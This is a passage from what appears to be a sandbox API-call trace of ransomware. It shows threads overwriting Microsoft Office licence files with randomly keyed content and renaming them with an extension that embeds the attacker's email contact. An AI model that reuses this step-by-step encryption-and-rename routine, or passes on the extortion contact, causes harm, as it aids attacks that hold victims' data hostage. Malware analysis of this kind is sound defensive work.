	[0086.853] NtQueryInformationFile (in: FileHandle=0x195c, IoStatusBlock=0x2a6bf998, FileInformation=0x2a6bf970, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a6bf998, FileInformation=0x2a6bf970) returned 0x0
	[0086.853] NtSetInformationFile (FileHandle=0x195c, IoStatusBlock=0x2a6bf998, FileInformation=0x2a6bf970, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.854] FlushFileBuffers (hFile=0x195c) returned 1
	[0093.104] CloseHandle (hObject=0x195c) 

Thread:
	id = 1217
	os_tid = 0x1f78

	[0086.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0086.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1960
	[0086.855] GetFileSizeEx (in: hFile=0x1960, lpFileSize=0x2a73fa00 | out: lpFileSize=0x2a73fa00*=11609) returned 1
	[0086.855] SetFilePointerEx (in: hFile=0x1960, liDistanceToMove=0x2d55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.855] ReadFile (in: hFile=0x1960, lpBuffer=0x2a73f984, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a73f980, lpOverlapped=0x0 | out: lpBuffer=0x2a73f984*, lpNumberOfBytesRead=0x2a73f980*=0x4, lpOverlapped=0x0) returned 1
	[0086.857] SetFilePointerEx (in: hFile=0x1960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.857] NtQuerySystemTime (in: CurrentTime=0x2a73f960 | out: CurrentTime=0x2a73f960*=132251868136006741) returned 0x0
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x38141197
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x62df7ff7
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x6ee633db
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x51389ead
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x937361b8
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x51de07ff
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x99803b14
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xc4d31e2f
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x567cbdb9
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xb9e1bd5f
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x95f0058f
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xf68208b4
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x32dba01b
	[0086.857] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xf591de1e
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x5e9cf98d
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x8fe474a
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xee9ec989
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x50a987f2
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x7f37f9ec
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xb418f6e3
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x343f20e6
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x5adee6c
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xf97d4995
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x94174a1a
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x8ee9543c
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xa2a296b2
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x466ec9d5
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x16516d6c
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xec0dea4b
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xe3132e68
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0xe538ca2a
	[0086.858] RtlRandom (in: Seed=0x2a73f96c | out: Seed=0x2a73f96c) returned 0x1fbf5f72
	[0086.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0086.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0086.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851030
	[0086.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485d838
	[0086.867] ReadFile (in: hFile=0x1960, lpBuffer=0x4851030, nNumberOfBytesToRead=0x2d59, lpNumberOfBytesRead=0x2a73f95c, lpOverlapped=0x0 | out: lpBuffer=0x4851030*, lpNumberOfBytesRead=0x2a73f95c*=0x2d59, lpOverlapped=0x0) returned 1
	[0086.868] SetFilePointerEx (in: hFile=0x1960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.868] WriteFile (in: hFile=0x1960, lpBuffer=0x485d838*, nNumberOfBytesToWrite=0x2d59, lpNumberOfBytesWritten=0x2a73f958, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesWritten=0x2a73f958*=0x2d59, lpOverlapped=0x0) returned 1
	[0087.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485d838) returned 1
	[0087.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851030) returned 1
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dabd98
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dab870
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x131) returned 0x481e928
	[0087.349] SetFilePointerEx (in: hFile=0x1960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.349] WriteFile (in: hFile=0x1960, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x2a73f9c0, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x2a73f9c0*=0x131, lpOverlapped=0x0) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabd98) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0087.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0087.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89948
	[0087.352] wcscpy (in: _Dest=0x2d89948, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms"
	[0087.352] wcscat (in: _Dest=0x2d89948, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.352] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a73f978, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500d048
	[0087.353] NtSetInformationFile (FileHandle=0x1960, IoStatusBlock=0x2a73f970, FileInformation=0x500d048, Length=0x102, FileInformationClass=0xa) returned 0x0
	[0087.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0087.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.353] NtQueryInformationFile (in: FileHandle=0x1960, IoStatusBlock=0x2a73f984, FileInformation=0x2a73f95c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a73f984, FileInformation=0x2a73f95c) returned 0x0
	[0087.354] NtSetInformationFile (FileHandle=0x1960, IoStatusBlock=0x2a73f984, FileInformation=0x2a73f95c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.354] FlushFileBuffers (hFile=0x1960) returned 1
	[0093.127] CloseHandle (hObject=0x1960) 

Thread:
	id = 1218
	os_tid = 0x1f7c

	[0086.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220
	[0086.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1964
	[0086.869] GetFileSizeEx (in: hFile=0x1964, lpFileSize=0x2a7bfd00 | out: lpFileSize=0x2a7bfd00*=9601) returned 1
	[0086.869] SetFilePointerEx (in: hFile=0x1964, liDistanceToMove=0x257d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.869] ReadFile (in: hFile=0x1964, lpBuffer=0x2a7bfc84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a7bfc80, lpOverlapped=0x0 | out: lpBuffer=0x2a7bfc84*, lpNumberOfBytesRead=0x2a7bfc80*=0x4, lpOverlapped=0x0) returned 1
	[0086.870] SetFilePointerEx (in: hFile=0x1964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.870] NtQuerySystemTime (in: CurrentTime=0x2a7bfc60 | out: CurrentTime=0x2a7bfc60*=132251868136006741) returned 0x0
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x3eb9e91b
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x84bb2ab2
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xbda5b6af
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x4157934a
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x89d1e545
	[0086.870] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x98b43116
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x28f6c716
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x8aeeda04
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x107017ed
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x52e9ef9d
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xe9a6d3c7
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x9c407011
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xfb0cb15b
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xc4e3597c
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x165389b8
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xb9cfc93b
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x2cf8a162
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x80db595b
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x2fff6f7f
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x80c17fc5
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x3513a3fe
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x4edea8e4
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xb979daad
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x5c12a53f
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x78d23ab
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xb0f93536
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xd4b26d50
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x6044a1c7
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xb8aa4ab0
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xc09bbd86
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0x578d7d2
	[0086.871] RtlRandom (in: Seed=0x2a7bfc6c | out: Seed=0x2a7bfc6c) returned 0xad92cd5c
	[0086.878] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47534d0
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0086.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0086.881] ReadFile (in: hFile=0x1964, lpBuffer=0x496b830, nNumberOfBytesToRead=0x2581, lpNumberOfBytesRead=0x2a7bfc5c, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x2a7bfc5c*=0x2581, lpOverlapped=0x0) returned 1
	[0086.882] SetFilePointerEx (in: hFile=0x1964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.882] WriteFile (in: hFile=0x1964, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0x2581, lpNumberOfBytesWritten=0x2a7bfc58, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2a7bfc58*=0x2581, lpOverlapped=0x0) returned 1
	[0086.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0086.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47534d0) returned 1
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775610
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775570
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebca00
	[0086.884] SetFilePointerEx (in: hFile=0x1964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.884] WriteFile (in: hFile=0x1964, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x2a7bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2a7bfcc0*=0x129, lpOverlapped=0x0) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775570) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ea808
	[0086.885] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms"
	[0086.886] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.886] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a7bfc78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d3c0
	[0086.886] NtSetInformationFile (FileHandle=0x1964, IoStatusBlock=0x2a7bfc70, FileInformation=0x481d3c0, Length=0xfa, FileInformationClass=0xa) returned 0x0
	[0086.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0086.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.888] NtQueryInformationFile (in: FileHandle=0x1964, IoStatusBlock=0x2a7bfc84, FileInformation=0x2a7bfc5c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a7bfc84, FileInformation=0x2a7bfc5c) returned 0x0
	[0086.888] NtSetInformationFile (FileHandle=0x1964, IoStatusBlock=0x2a7bfc84, FileInformation=0x2a7bfc5c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.889] FlushFileBuffers (hFile=0x1964) returned 1
	[0093.105] CloseHandle (hObject=0x1964) 

Thread:
	id = 1219
	os_tid = 0x1f80

	[0086.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220
